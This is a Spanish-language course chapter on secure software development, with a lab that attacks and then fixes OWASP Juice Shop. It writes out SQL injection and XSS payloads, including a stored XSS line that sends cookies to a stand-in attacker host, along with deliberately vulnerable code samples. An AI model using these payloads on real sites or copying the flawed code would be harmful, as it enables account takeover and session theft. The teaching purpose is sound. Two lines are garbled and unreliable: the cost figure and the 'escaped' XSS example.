Seguridad en el desarrollo de aplicaciones
Objetivos: Al terminar este tema, podrás…
- Implementar las técnicas fundamentales de seguridad en aplicaciones web y móviles
- Reconocer y prevenir las vulnerabilidades más comunes (OWASP Top 10)
- Integrar prácticas de seguridad en el ciclo de desarrollo (DevSecOps)
- Diseñar arquitecturas de aplicaciones con seguridad desde el inicio
El ingeniero de seguridad en desarrollo de software
La seguridad en aplicaciones no es un “add-on” al final del desarrollo. Como ingeniero de seguridad, tu rol es:
- Definir requisitos de seguridad desde la fase de diseño
- Revisar código en busca de vulnerabilidades
- Implementar controles técnicos de protección
- Realizar pruebas de seguridad antes del despliegue
- Monitorear comportamiento en producción
La regla fundamental: el costo de corregir una vulnerabilidad aumenta 10x en cada fase del desarrollo. Encontrarla en diseño cuesta 10,000.
Técnicas fundamentales de seguridad
1. Validación de entradas
Principio: Nunca confiar en datos que provienen del usuario o de sistemas externos.
Regla de oro: Validar en el servidor, sanitizar para el contexto de uso.
Estrategias de validación
| Estrategia | Descripción | Ejemplo |
|---|---|---|
| Whitelist | Aceptar solo valores conocidos | Solo letras y números |
| Blacklist | Rechazar valores peligrosos | Bloquear <script> (menos seguro) |
| Formato | Verificar estructura esperada | Email: regex para formato válido |
| Rango | Verificar límites | Edad: 0-150, monto: > 0 |
| Tipo | Verificar tipo de dato | Número, no string |
Vulnerabilidades que previene
SQL Injection:
-- Entrada maliciosa: ' OR '1'='1
-- Consulta vulnerable:
SELECT * FROM users WHERE username = '' OR '1'='1'
-- Solución: Prepared statements
SELECT * FROM users WHERE username = ?Cross-Site Scripting (XSS):
<!-- Entrada maliciosa: <script>robarCookies()</script> -->
<!-- Renderizado vulnerable: -->
<p>Hola <script>robarCookies()</script></p>
<!-- Solución: Escapar salida según contexto -->
<p>Hola <script>robarCookies()</script></p>Implementación:
- Usar ORMs con prepared statements (no concatenar SQL)
- Implementar Content Security Policy (CSP)
- Escapar salida según contexto (HTML, JavaScript, URL)
- Usar bibliotecas de sanitización probadas (no reinventar)
2. Cifrado de datos
Principio: Proteger datos sensibles tanto en tránsito como en reposo.
Cifrado en tránsito
| Control | Implementación | Verificación |
|---|---|---|
| TLS 1.3 | Configurar servidor web | SSL Labs: A+ rating |
| HSTS | Header Strict-Transport-Security | Browser devtools |
| Certificate pinning | Hardcodear hash de certificado (móviles) | Proxy testing |
Cifrado en reposo
| Dato | Técnica | Implementación |
|---|---|---|
| Contraseñas | Hash + salt | bcrypt, Argon2id (NO MD5, SHA1) |
| Datos sensibles | Cifrado simétrico | AES-256-GCM |
| Claves de API | Gestión de secretos | Vault, AWS Secrets Manager |
| PII | Tokenización | Reemplazar con tokens no reversibles |
Gestión de claves
❌ Incorrecto:
- Claves en código fuente
- Claves en variables de entorno sin protección
- Misma clave para todos los ambientes
✅ Correcto:
- HSM o servicio de gestión de secretos
- Rotación periódica de claves
- Claves diferentes por ambiente (dev, staging, prod)
- Logs de acceso a claves
3. Autenticación y autorización
Autenticación segura
| Control | Implementación | Justificación |
|---|---|---|
| MFA obligatorio | TOTP, WebAuthn, SMS (último recurso) | Mitiga robo de credenciales |
| Bloqueo de cuenta | Después de N intentos fallidos | Previene fuerza bruta |
| Hashing de contraseñas | bcrypt/Argon2id, work factor alto | Protege si BD es comprometida |
| Sesiones seguras | HttpOnly, Secure, SameSite cookies | Previene robo de sesión |
| Expiración | Sesiones con timeout, refresh tokens | Limita ventana de ataque |
Autorización segura
Principio: Verificar permisos en cada request, en el servidor.
# ❌ Incorrecto: Solo verificar en frontend
def get_order(order_id):
return Order.get(order_id) # Cualquiera puede ver cualquier orden
# ✅ Correcto: Verificar en backend
def get_order(order_id, current_user):
order = Order.get(order_id)
if order.user_id != current_user.id:
raise AuthorizationError("No tienes permiso")
return orderVulnerabilidades comunes
| Vulnerabilidad | Descripción | Control |
|---|---|---|
| IDOR | Acceso a recursos de otros usuarios manipulando ID | Verificar propiedad en cada request |
| Privilege escalation | Usuario obtiene permisos de admin | Verificar roles en backend |
| Session fixation | Atacante fija ID de sesión | Regenerar sesión post-login |
| JWT sin validación | Aceptar tokens sin verificar firma | Validar firma y claims |
4. Gestión de permisos y APIs
Diseño de APIs seguras
| Principio | Implementación |
|---|---|
| Autenticación | API keys, OAuth 2.0, JWT con firma |
| Rate limiting | Límites por IP, usuario, endpoint |
| Validación | Schema validation (OpenAPI) |
| Versionado | URLs versionadas (/v1/, /v2/) |
| Logging | Registrar todas las llamadas |
OWASP API Security Top 10
| # | Vulnerabilidad | Control |
|---|---|---|
| 1 | Broken Object Level Authorization | Verificar propiedad del objeto |
| 2 | Broken Authentication | MFA, rate limiting, tokens seguros |
| 3 | Broken Object Property Level Auth | Filtrar campos por rol |
| 4 | Unrestricted Resource Consumption | Rate limiting, pagination |
| 5 | Broken Function Level Authorization | Verificar permisos por endpoint |
5. Pruebas de seguridad
Tipos de pruebas
| Tipo | Cuándo | Herramientas | Qué detecta |
|---|---|---|---|
| SAST | Durante desarrollo | SonarQube, Semgrep | Vulnerabilidades en código |
| DAST | En ambiente de pruebas | OWASP ZAP, Burp Suite | Vulnerabilidades en ejecución |
| SCA | Integración continua | Snyk, Dependabot | Dependencias vulnerables |
| Pentesting | Pre-producción | Manual + herramientas | Vulnerabilidades complejas |
Integración en CI/CD
# Pipeline de seguridad
stages:
- lint
- test
- security-sast # Análisis estático
- security-sca # Dependencias
- build
- security-dast # Análisis dinámico
- deployDevSecOps: Seguridad integrada
Shift Left
La seguridad se “desplaza a la izquierda” del ciclo de desarrollo:
Tradicional: [Diseño] → [Desarrollo] → [Pruebas] → [Despliegue] → [SEGURIDAD]
↑ Costoso
DevSecOps: [Diseño] → [Desarrollo] → [Pruebas] → [Despliegue]
↑ ↑ ↑ ↑
Seguridad Seguridad Seguridad Seguridad
Prácticas por fase
| Fase | Práctica de seguridad | Responsable |
|---|---|---|
| Diseño | Threat modeling, requisitos de seguridad | Security engineer + Arquitecto |
| Desarrollo | Secure coding, code review, SAST | Desarrolladores + Security |
| Build | SCA, container scanning | CI/CD pipeline |
| Test | DAST, pentesting | QA + Security team |
| Deploy | Hardening, secrets management | DevOps + Security |
| Operate | Monitoring, incident response | SRE + Security |
Caso de estudio: Uber (2016)
Incidente: Exposición de datos de 57 millones de usuarios.
Vector de ataque:
- Desarrolladores almacenaron credenciales de AWS en repositorio GitHub
- Atacantes encontraron credenciales
- Accedieron a S3 buckets con datos de usuarios
Fallas de ingeniería:
- Credenciales en código fuente (violación de gestión de secretos)
- Sin rotación de credenciales
- Sin monitoreo de acceso anómalo a S3
- Sin escaneo de secretos en commits
Controles que habrían prevenido:
- Gestión de secretos (Vault, AWS Secrets Manager)
- Escaneo de secretos en CI/CD (git-secrets, truffleHog)
- Rotación automática de credenciales
- Alertas de acceso inusual a datos
Arquitectura de seguridad para aplicaciones
Capas de defensa
[Usuario] → [WAF] → [Load Balancer] → [API Gateway] → [Aplicación] → [BD]
↓ ↓ ↓ ↓ ↓
DDoS TLS Auth/AuthZ Validación Cifrado
mitigation termination Rate limiting Sanitización Backups
Componentes esenciales
| Componente | Función | Ejemplos |
|---|---|---|
| WAF | Filtrar ataques conocidos | AWS WAF, Cloudflare |
| API Gateway | Autenticación, rate limiting | Kong, AWS API Gateway |
| Secrets Manager | Gestión de credenciales | Vault, AWS Secrets Manager |
| SIEM | Correlación de eventos | Splunk, ELK |
| EDR | Detección en endpoints | CrowdStrike, Carbon Black |
Conceptos clave
| Término | Definición |
|---|---|
| Validación de entradas | Verificar que datos cumplen formato esperado antes de procesarlos |
| SQL Injection | Ataque que inserta SQL malicioso en consultas |
| XSS | Ataque que inyecta scripts en páginas web |
| SAST | Static Application Security Testing - análisis de código fuente |
| DAST | Dynamic Application Security Testing - análisis en ejecución |
| DevSecOps | Integración de seguridad en todo el ciclo de desarrollo |
| WAF | Firewall especializado para aplicaciones web |
Ponte a prueba
-
Diseño de validación: Una API recibe datos de un formulario de registro (nombre, email, contraseña, fecha de nacimiento). Diseña las reglas de validación para cada campo y justifica tus decisiones.
-
Análisis de código: Revisa este fragmento e identifica las vulnerabilidades:
def login(username, password):
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
user = db.execute(query)
return user-
Arquitectura: Diseña la arquitectura de seguridad para una aplicación de banca móvil. Incluye: autenticación, cifrado, validación, y monitoreo.
-
DevSecOps: Tu equipo no tiene prácticas de seguridad en el pipeline de CI/CD. Propón un plan de implementación gradual con herramientas específicas.
Laboratorio práctico: Explotación y corrección de vulnerabilidades web
Tiempo estimado: 150 minutos Requisitos: Docker, navegador con DevTools, Python 3.8+ Ética: Solo practicar en aplicaciones vulnerables diseñadas para entrenamiento
Objetivo
Experimentar ataques reales contra una aplicación vulnerable, entender su impacto, y corregir el código para prevenir cada vulnerabilidad.
Preparación: OWASP Juice Shop
OWASP Juice Shop es una aplicación intencionalmente vulnerable para practicar seguridad web.
# Ejecutar Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop
# Acceder a http://localhost:3000Parte 1: SQL Injection (40 min)
Reto en Juice Shop: Login como administrador sin conocer la contraseña.
Exploración:
- Abre la página de login
- Abre DevTools → Network
- Intenta hacer login normal y observa la petición
- Analiza cómo se construye la consulta
Ataque:
Email: ' OR 1=1--
Password: (cualquier cosa)
¿Por qué funciona?
-- Consulta original:
SELECT * FROM Users WHERE email='usuario@email.com' AND password='hash'
-- Con la inyección:
SELECT * FROM Users WHERE email='' OR 1=1--' AND password='hash'
-- El -- comenta el resto, 1=1 siempre es verdaderoEjercicio de corrección:
Corrige este código vulnerable:
# vulnerable.py - CÓDIGO INSEGURO
import sqlite3
def login_vulnerable(email, password):
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# ❌ VULNERABLE: Concatenación de strings
query = f"SELECT * FROM users WHERE email='{email}' AND password='{password}'"
cursor.execute(query)
return cursor.fetchone()
# Tu tarea: Reescribe usando prepared statements
def login_seguro(email, password):
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# ✅ SEGURO: Usa placeholders
# Tu código aquí...
passSolución esperada:
def login_seguro(email, password):
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# Prepared statement con placeholders
query = "SELECT * FROM users WHERE email=? AND password=?"
cursor.execute(query, (email, password))
return cursor.fetchone()Parte 2: Cross-Site Scripting (XSS) (35 min)
Reto en Juice Shop: Inyectar un script en la página de búsqueda.
Exploración:
- Usa la barra de búsqueda
- Observa cómo se refleja el término buscado en la URL y la página
- Prueba si el input es sanitizado
Ataque (Reflected XSS):
Buscar: <iframe src="javascript:alert('XSS')">
Ataque (Stored XSS): En el formulario de feedback o comentarios:
<script>document.location='http://atacante.com/robar?cookie='+document.cookie</script>Ejercicio de corrección:
# vulnerable.py - CÓDIGO INSEGURO
from flask import Flask, request
app = Flask(__name__)
@app.route('/buscar')
def buscar_vulnerable():
termino = request.args.get('q', '')
# ❌ VULNERABLE: Inserción directa en HTML
return f"<h1>Resultados para: {termino}</h1>"
# Tu tarea: Sanitiza la salida
@app.route('/buscar-seguro')
def buscar_seguro():
termino = request.args.get('q', '')
# ✅ SEGURO: Escapa caracteres HTML
# Tu código aquí...
passSolución esperada:
from markupsafe import escape
@app.route('/buscar-seguro')
def buscar_seguro():
termino = request.args.get('q', '')
# Escapar caracteres especiales HTML
termino_seguro = escape(termino)
return f"<h1>Resultados para: {termino_seguro}</h1>"Defensa adicional - Content Security Policy:
@app.after_request
def agregar_csp(response):
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
return responseParte 3: Insecure Direct Object Reference (IDOR) (30 min)
Reto en Juice Shop: Acceder al carrito de compras de otro usuario.
Exploración:
- Crea una cuenta y agrega items al carrito
- Observa las peticiones en DevTools
- Identifica el ID del carrito en las peticiones
- Intenta acceder a carritos de otros usuarios
Ataque:
GET /rest/basket/1 → Tu carrito
GET /rest/basket/2 → Carrito de otro usuario (¡no debería funcionar!)
Ejercicio de corrección:
# vulnerable.py - CÓDIGO INSEGURO
@app.route('/api/carrito/<int:carrito_id>')
def ver_carrito_vulnerable(carrito_id):
# ❌ VULNERABLE: No verifica propiedad
carrito = Carrito.query.get(carrito_id)
return jsonify(carrito.items)
# Tu tarea: Verifica que el usuario es dueño del carrito
@app.route('/api/carrito/<int:carrito_id>')
@login_required
def ver_carrito_seguro(carrito_id):
# ✅ SEGURO: Verifica propiedad
# Tu código aquí...
passSolución esperada:
@app.route('/api/carrito/<int:carrito_id>')
@login_required
def ver_carrito_seguro(carrito_id):
carrito = Carrito.query.get(carrito_id)
if carrito is None:
abort(404)
# Verificar que el usuario actual es dueño del carrito
if carrito.usuario_id != current_user.id:
abort(403) # Forbidden
return jsonify(carrito.items)Parte 4: Análisis estático con Semgrep (25 min)
Semgrep detecta vulnerabilidades en código automáticamente.
# Instalar Semgrep
pip install semgrep
# Crear archivo de prueba con vulnerabilidades
cat > app_vulnerable.py << 'EOF'
import sqlite3
import os
def consulta_insegura(user_input):
conn = sqlite3.connect('db.sqlite')
query = "SELECT * FROM users WHERE name = '" + user_input + "'"
return conn.execute(query)
def ejecutar_comando(cmd):
os.system(cmd) # Vulnerable a command injection
def hash_inseguro(password):
import hashlib
return hashlib.md5(password.encode()).hexdigest()
EOF
# Ejecutar análisis
semgrep --config=p/python app_vulnerable.pyEjercicio:
- Ejecuta Semgrep sobre el archivo de prueba
- Analiza los hallazgos reportados
- Clasifica cada vulnerabilidad según OWASP Top 10
- Corrige cada una y vuelve a ejecutar Semgrep
Salida esperada de Semgrep:
app_vulnerable.py
python.lang.security.audit.dangerous-system-call
Dangerous system call with user input
Details: https://sg.run/...
python.lang.security.audit.formatted-sql-query
Possible SQL injection
Details: https://sg.run/...
python.lang.security.audit.insecure-hash-function
Use of weak hash function MD5
Details: https://sg.run/...
Parte 5: Reto integrador (20 min)
Usando Juice Shop, completa estos retos adicionales:
| Reto | Vulnerabilidad | Dificultad |
|---|---|---|
| Acceso al scoreboard | Information Disclosure | ⭐ |
| Registrarte como admin | Broken Access Control | ⭐⭐ |
| Encontrar el archivo de backup | Sensitive Data Exposure | ⭐⭐ |
| Subir archivo malicioso | Unrestricted File Upload | ⭐⭐⭐ |
Tip: El scoreboard de Juice Shop (/#/score-board) muestra todos los retos disponibles organizados por categoría y dificultad.
Entregable
Crea un reporte de vulnerabilidades que incluya:
- Resumen ejecutivo (1 párrafo)
- Por cada vulnerabilidad explotada:
- Descripción del ataque
- Pasos para reproducir
- Impacto (usando CVSS si es posible)
- Código vulnerable vs. código corregido
- Controles adicionales recomendados
- Resultados de Semgrep:
- Vulnerabilidades detectadas
- Falsos positivos identificados
- Propuesta de integración en CI/CD
Criterios de evaluación
| Criterio | Puntos |
|---|---|
| SQL Injection explotado y corregido | 20 |
| XSS explotado y corregido | 20 |
| IDOR explotado y corregido | 20 |
| Análisis Semgrep completado | 15 |
| Calidad del reporte | 15 |
| Retos adicionales (bonus) | +10 |
Reflexión
Después de completar el laboratorio:
- ¿Qué tan fácil fue explotar estas vulnerabilidades?
- ¿Por qué crees que estas vulnerabilidades siguen siendo tan comunes?
- ¿Cómo cambiaría tu forma de escribir código después de este laboratorio?
Navegación: ← Anterior | Inicio | Siguiente: Control de acceso →